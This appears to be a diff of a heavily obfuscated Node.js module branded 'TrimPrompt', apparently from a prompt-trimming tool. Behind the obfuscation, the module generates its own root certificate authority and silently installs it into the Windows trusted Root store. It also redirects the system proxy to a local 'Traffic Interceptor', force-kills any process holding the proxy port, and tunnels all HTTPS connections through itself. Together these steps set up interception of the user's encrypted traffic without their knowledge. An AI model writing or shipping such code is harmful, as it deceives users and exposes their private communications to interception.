_0x4ca3a6=_0x3700de;_0x2f7a90[_0x4ca3a6(0x92)](0xc8,{'Content-Type':_0x4ca3a6(0xbe)}),_0x2f7a90[_0x4ca3a6(0xc1)](JSON['stringify']({'status':_0x4ca3a6(0xce),'url':_0x53e25d['url']}));}),_0x20398b['on']('connect',(_0x1fa43e,_0x1b6526,_0x5529d1)=>{const _0x945821=_0x3700de,[_0x92c4b0,_0xfbd4e]=(_0x1fa43e[_0x945821(0xd8)]||'')[_0x945821(0xb6)](':'),_0x51a6f7=parseInt(_0xfbd4e,0xa)||0x1bb,_0x542d54=net[_0x945821(0xba)](_0x51a6f7,_0x92c4b0,()=>{const _0x52ae76=_0x945821;_0x1b6526[_0x52ae76(0xe4)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x542d54[_0x52ae76(0xe4)](_0x5529d1),_0x542d54['pipe'](_0x1b6526),_0x1b6526['pipe'](_0x542d54);});_0x542d54['on'](_0x945821(0x9b),()=>{const _0x225faf=_0x945821;try{_0x1b6526[_0x225faf(0xc1)]();}catch{}}),_0x1b6526['on']('error',()=>{const _0x56ae86=_0x945821;try{_0x542d54[_0x56ae86(0xc1)]();}catch{}});}),_0x20398b['listen'](_0x413ec0,_0x3700de(0xc8),()=>{const _0xb634f6=_0x3700de;console[_0xb634f6(0xb9)](_0xb634f6(0xaa)+_0x413ec0);});}
|
|
1
|
+
'use strict';const a0_0x367e53=a0_0x594e;(function(_0x15013b,_0x3bf6e7){const _0x46df42=a0_0x594e,_0x49a746=_0x15013b();while(!![]){try{const _0x16b4bb=-parseInt(_0x46df42(0x11d))/0x1+-parseInt(_0x46df42(0x14e))/0x2+-parseInt(_0x46df42(0x120))/0x3*(parseInt(_0x46df42(0x129))/0x4)+parseInt(_0x46df42(0x169))/0x5*(parseInt(_0x46df42(0x130))/0x6)+-parseInt(_0x46df42(0x124))/0x7*(-parseInt(_0x46df42(0x118))/0x8)+parseInt(_0x46df42(0x134))/0x9*(-parseInt(_0x46df42(0x147))/0xa)+-parseInt(_0x46df42(0x167))/0xb*(-parseInt(_0x46df42(0x140))/0xc);if(_0x16b4bb===_0x3bf6e7)break;else _0x49a746['push'](_0x49a746['shift']());}catch(_0x4de4db){_0x49a746['push'](_0x49a746['shift']());}}}(a0_0x5ba6,0x9719a));function a0_0x594e(_0x4eec54,_0x10e92b){const _0x5ba639=a0_0x5ba6();return a0_0x594e=function(_0x594e0a,_0x512093){_0x594e0a=_0x594e0a-0x113;let _0x1d26c5=_0x5ba639[_0x594e0a];return _0x1d26c5;},a0_0x594e(_0x4eec54,_0x10e92b);}var __createBinding=this&&this[a0_0x367e53(0x15b)]||(Object[a0_0x367e53(0x11c)]?function(_0x2df8bc,_0x2d0741,_0x5158d2,_0x3def0e){const _0x1ca4e2=a0_0x367e53;if(_0x3def0e===undefined)_0x3def0e=_0x5158d2;var _0x4a8c5d=Object[_0x1ca4e2(0x150)](_0x2d0741,_0x5158d2);(!_0x4a8c5d||('get'in _0x4a8c5d?!_0x2d0741[_0x1ca4e2(0x14c)]:_0x4a8c5d[_0x1ca4e2(0x131)]||_0x4a8c5d[_0x1ca4e2(0x151)]))&&(_0x4a8c5d={'enumerable':!![],'get':function(){return _0x2d0741[_0x5158d2];}}),Object[_0x1ca4e2(0x123)](_0x2df8bc,_0x3def0e,_0x4a8c5d);}:function(_0x39d889,_0x5f10d2,_0x5d08f7,_0x4ba8d8){if(_0x4ba8d8===undefined)_0x4ba8d8=_0x5d08f7;_0x39d889[_0x4ba8d8]=_0x5f10d2[_0x5d08f7];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x367e53(0x11c)]?function(_0x4781b7,_0x4c71b6){const _0x2bc508=a0_0x367e53;Object['defineProperty'](_0x4781b7,_0x2bc508(0x14a),{'enumerable':!![],'value':_0x4c71b6});}:function(_0x1585d2,_0xf7acaf){const _0xb85d51=a0_0x367e53;_0x1585d2[_0xb85d51(0x14a)]=_0xf7acaf;}),__importStar=this&&this[a0_0x367e53(0x145)]||(function(){var _0x11b664=function(_0x288ad2){const _0x11918f=a0_0x594e;return _0x11b664=Object[_0x11918f(0x133)]||function(_0x23c44b){const _0x25fea4=_0x11918f;var _0xf5aabb=[];for(var _0x5b3648 in _0x23c44b)if(Object['prototype'][_0x25fea4(0x166)][_0x25fea4(0x136)](_0x23c44b,_0x5b3648))_0xf5aabb[_0xf5aabb[_0x25fea4(0x14d)]]=_0x5b3648;return _0xf5aabb;},_0x11b664(_0x288ad2);};return function(_0x278e7d){const _0x4a5147=a0_0x594e;if(_0x278e7d&&_0x278e7d[_0x4a5147(0x14c)])return _0x278e7d;var _0x1f3571={};if(_0x278e7d!=null){for(var _0x3dbbe9=_0x11b664(_0x278e7d),_0x527a07=0x0;_0x527a07<_0x3dbbe9['length'];_0x527a07++)if(_0x3dbbe9[_0x527a07]!==_0x4a5147(0x14a))__createBinding(_0x1f3571,_0x278e7d,_0x3dbbe9[_0x527a07]);}return __setModuleDefault(_0x1f3571,_0x278e7d),_0x1f3571;};}());Object[a0_0x367e53(0x123)](exports,a0_0x367e53(0x14c),{'value':!![]}),exports[a0_0x367e53(0x162)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0x367e53(0x12a)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x367e53(0x128))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x367e53(0x115))),crypto=__importStar(require('crypto')),child_process_1=require(a0_0x367e53(0x121)),baseDir=path[a0_0x367e53(0x13c)](os[a0_0x367e53(0x144)](),'.trimprompt'),caCertPath=path[a0_0x367e53(0x13c)](baseDir,'ca.crt'),caKeyPath=path['join'](baseDir,'ca.key');function ensureBaseDir(){const _0x7b4cb1=a0_0x367e53;if(!fs['existsSync'](baseDir))fs[_0x7b4cb1(0x13a)](baseDir,{'recursive':!![]});}function a0_0x5ba6(){const _0x4fee72=['http','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','814328DdyTfe','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','connect','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','create','868758fuErSA','pipe','write','411SDoNUX','child_process','win32','defineProperty','7fcIxbz','\x20/F','readFileSync','split','path','644urhYYm','disableSystemProxy','ignore','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','application/json','trim','url','1563522WhqwRa','writable','createServer','getOwnPropertyNames','227943KaFOPC','\x20|\x20findstr\x20LISTENING','call','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','generateKeyPairSync','taskkill\x20/PID\x20','mkdirSync','.\x20Retrying\x20listen...','join','sign','toString','replace','2129532MDLSbf','pid','Set-ItemProperty\x20-Path\x20\x27','sha256','homedir','__importStar','writeFileSync','430YYgchG','createPrivateKey','TrimPrompt\x20Traffic\x20Interceptor\x20Active','default','error','__esModule','length','1183526MsBNac','end','getOwnPropertyDescriptor','configurable','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','execSync','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','setSubject','rsa','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27','powershell.exe\x20-NoProfile\x20-Command\x20\x22','platform','export','__createBinding','127.0.0.1','netstat\x20-ano\x20|\x20findstr\x20:','writeHead','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','createCertificate','127.0.0.1:','generateCaCertificate','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','existsSync','listen','hasOwnProperty','143Uibskd','pem','15lalrYW','utf8','log','setIssuer','request'];a0_0x5ba6=function(){return _0x4fee72;};return a0_0x5ba6();}function generateCaCertificate(){const _0x3d5879=a0_0x367e53;ensureBaseDir();if(fs['existsSync'](caCertPath)&&fs[_0x3d5879(0x164)](caKeyPath))return{'cert':fs[_0x3d5879(0x126)](caCertPath,_0x3d5879(0x16a)),'key':fs['readFileSync'](caKeyPath,_0x3d5879(0x16a))};const {privateKey:_0x4376fe,publicKey:_0x10a529}=crypto[_0x3d5879(0x138)](_0x3d5879(0x156),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x3d5879(0x117),'format':_0x3d5879(0x168)},'privateKeyEncoding':{'type':'pkcs8','format':_0x3d5879(0x168)}}),_0x3fd0cb=crypto['createCertificate']?crypto[_0x3d5879(0x160)]():null;let _0x1241f1='';return _0x3fd0cb?(_0x3fd0cb[_0x3d5879(0x155)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb[_0x3d5879(0x113)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb['setPublicKey'](crypto['createPublicKey'](_0x10a529)),_0x3fd0cb[_0x3d5879(0x13d)](crypto[_0x3d5879(0x148)](_0x4376fe),_0x3d5879(0x143)),_0x1241f1=_0x3fd0cb[_0x3d5879(0x15a)](_0x3d5879(0x168))[_0x3d5879(0x13e)]()):_0x1241f1=_0x10a529,fs[_0x3d5879(0x146)](caKeyPath,_0x4376fe,'utf8'),fs[_0x3d5879(0x146)](caCertPath,_0x1241f1,'utf8'),{'cert':_0x1241f1,'key':_0x4376fe};}function installSystemCaCert(){const _0x7a57ff=a0_0x367e53;if(process['platform']!==_0x7a57ff(0x122))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x7a57ff(0x153)])(_0x7a57ff(0x154)+caCertPath+'\x22',{'stdio':_0x7a57ff(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x423c84=0x1f90){const _0x31df85=a0_0x367e53;if(process[_0x31df85(0x159)]!=='win32')return![];try{const _0x26fdc5=_0x31df85(0x152),_0x223eab=_0x31df85(0x161)+_0x423c84,_0x1ab1aa=_0x31df85(0x142)+_0x26fdc5+_0x31df85(0x157)+_0x26fdc5+_0x31df85(0x163)+_0x223eab+'\x27';return(0x0,child_process_1[_0x31df85(0x153)])(_0x31df85(0x158)+_0x1ab1aa[_0x31df85(0x13f)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x36124e=a0_0x367e53;if(process[_0x36124e(0x159)]!==_0x36124e(0x122))return![];try{const _0x48384e=_0x36124e(0x152),_0x298aa5=_0x36124e(0x142)+_0x48384e+_0x36124e(0x12c);return(0x0,child_process_1[_0x36124e(0x153)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x298aa5['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x36124e(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x3926ff=0x1f90){const _0x4b8b98=a0_0x367e53,_0x327b32=http[_0x4b8b98(0x132)]();_0x327b32['on'](_0x4b8b98(0x14b),_0x5295fa=>{const _0x4190fc=_0x4b8b98;if(_0x5295fa['code']==='EADDRINUSE'){console[_0x4190fc(0x16b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x119));try{if(process[_0x4190fc(0x159)]===_0x4190fc(0x122)){const _0x45622b=(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x15d)+_0x3926ff+_0x4190fc(0x135),{'encoding':_0x4190fc(0x16a),'timeout':0xbb8}),_0x2d2705=_0x45622b[_0x4190fc(0x12e)]()[_0x4190fc(0x127)](/\s+/),_0x2f9541=_0x2d2705[_0x2d2705['length']-0x1];if(_0x2f9541&&_0x2f9541!==String(process[_0x4190fc(0x141)])){(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x139)+_0x2f9541+_0x4190fc(0x125),{'stdio':_0x4190fc(0x12b),'timeout':0xbb8}),console[_0x4190fc(0x16b)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x2f9541+_0x4190fc(0x13b)),setTimeout(()=>_0x327b32[_0x4190fc(0x165)](_0x3926ff,'127.0.0.1'),0x1f4);return;}}}catch{}console[_0x4190fc(0x14b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x137));}else console[_0x4190fc(0x14b)](_0x4190fc(0x15f)+_0x5295fa['message']);}),_0x327b32['on'](_0x4b8b98(0x114),(_0x19c355,_0x2a2006)=>{const _0xd0e660=_0x4b8b98;_0x2a2006[_0xd0e660(0x15e)](0xc8,{'Content-Type':_0xd0e660(0x12d)}),_0x2a2006[_0xd0e660(0x14f)](JSON['stringify']({'status':_0xd0e660(0x149),'url':_0x19c355[_0xd0e660(0x12f)]}));}),_0x327b32['on']('connect',(_0x21b0d0,_0x5881e7,_0x90ac19)=>{const _0x1608ce=_0x4b8b98,[_0x207ee0,_0x42e0ad]=(_0x21b0d0['url']||'')[_0x1608ce(0x127)](':'),_0x3ccab3=parseInt(_0x42e0ad,0xa)||0x1bb,_0x386eeb=net[_0x1608ce(0x11a)](_0x3ccab3,_0x207ee0,()=>{const _0x2fa034=_0x1608ce;_0x5881e7[_0x2fa034(0x11f)](_0x2fa034(0x11b)),_0x386eeb[_0x2fa034(0x11f)](_0x90ac19),_0x386eeb[_0x2fa034(0x11e)](_0x5881e7),_0x5881e7[_0x2fa034(0x11e)](_0x386eeb);});_0x386eeb['on'](_0x1608ce(0x14b),()=>{const _0x343b18=_0x1608ce;try{_0x5881e7[_0x343b18(0x14f)]();}catch{}}),_0x5881e7['on'](_0x1608ce(0x14b),()=>{const _0x45fc5a=_0x1608ce;try{_0x386eeb[_0x45fc5a(0x14f)]();}catch{}});}),_0x327b32[_0x4b8b98(0x165)](_0x3926ff,_0x4b8b98(0x15c),()=>{console['log']('[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:'+_0x3926ff);});}
|